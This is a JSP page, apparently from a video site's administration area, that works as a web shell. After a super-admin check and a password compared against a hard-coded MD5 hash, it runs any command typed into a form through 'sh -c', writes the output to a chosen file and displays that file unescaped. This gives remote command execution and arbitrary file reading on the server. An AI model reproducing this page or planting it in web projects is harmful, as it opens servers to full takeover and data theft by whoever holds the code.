<%@ page contentType="text/html; charset=UTF-8" language="java" %>
<%@ page import="com.util.SuperString" %>
<%@ page import="com.util.SuperFile" %>
<%@ page import="com.util.MD5Util" %>
<%@include file="commcheck.jsp"%>
<%
    if(!Constant_isSuperAdmin){
        out.println("没有权限访问！");
        return;
    }

    String spcode = SuperString.notNullTrim(request.getParameter("specode"));

    if(session.getAttribute("specode") == null) {
        if(!MD5Util.encode(spcode).equalsIgnoreCase("dfcccad9bc5b1ef2c3dcfba41c9eda96")) {
            out.println("没有权限！");
            return;
        } else {
            session.setAttribute("specode", spcode);
        }
    }

    out.println("<font style=\"font-family:Tahoma; font-size:12px;\">");
    out.flush();

    String outfile= SuperString.notNullTrim(request.getParameter("outfile"));
    String cmd=SuperString.notNullTrim(request.getParameter("cmd"));
    boolean isAppend=SuperString.getInt(request.getParameter("append"))==1;
    String charset=SuperString.notNullTrim(request.getParameter("charset"));
    if(request.getMethod().equalsIgnoreCase("post")){
        if("".equals(cmd)||"".equals(outfile)){
            out.println("请填写完整！");
            return;
        }
        out.println("<font color=#0033ff>==>"+cmd+"</font> ...... ");
        out.flush();
        try {
            String cmdrun=cmd+ (isAppend?" >> ":" > ") +outfile;
            String[] args = new String[]{"sh", "-c", cmdrun};
            Process proc = Runtime.getRuntime().exec(args);
            try {
                if(proc.waitFor() == 0){
                    out.println("<font color=blue>OK</font>");
                }else{
                    out.println("<font color=red>ERROR</font>");
                }
            } catch(Exception e) {
                out.println("<font color=red>ERROR</font>:"+e.getMessage());
            }
        } catch(Exception e) {
            out.println("<font color=red>ERROR</font>:"+e.getMessage());
        }

        out.println("<br>");
        out.flush();

        String ret= SuperFile.readHtmlFileCharset(outfile,charset);
        out.println("<textarea cols=100 rows=20>"+ret+"</textarea>");
        out.println("<br><br>");
        out.flush();
    }else{
        outfile="/home/pplive/web/temp/t.log";
        charset="gbk";
    }

%>
<form action="<%=request.getRequestURI()%>" method="post" name="form1">
    CMD:<br>
    <textarea rows="6" cols="100" name="cmd"><%=cmd%></textarea>
    <br>OutFile:
    <input name="outfile" type="text" value="<%=outfile%>" size="80">
    <br>CharSet:
    <input name="charset" type="text" value="<%=charset%>"> <input type="checkbox" name="append" value="1"> 追加
    <br>
    <input type="submit" value=" submit ">
</form>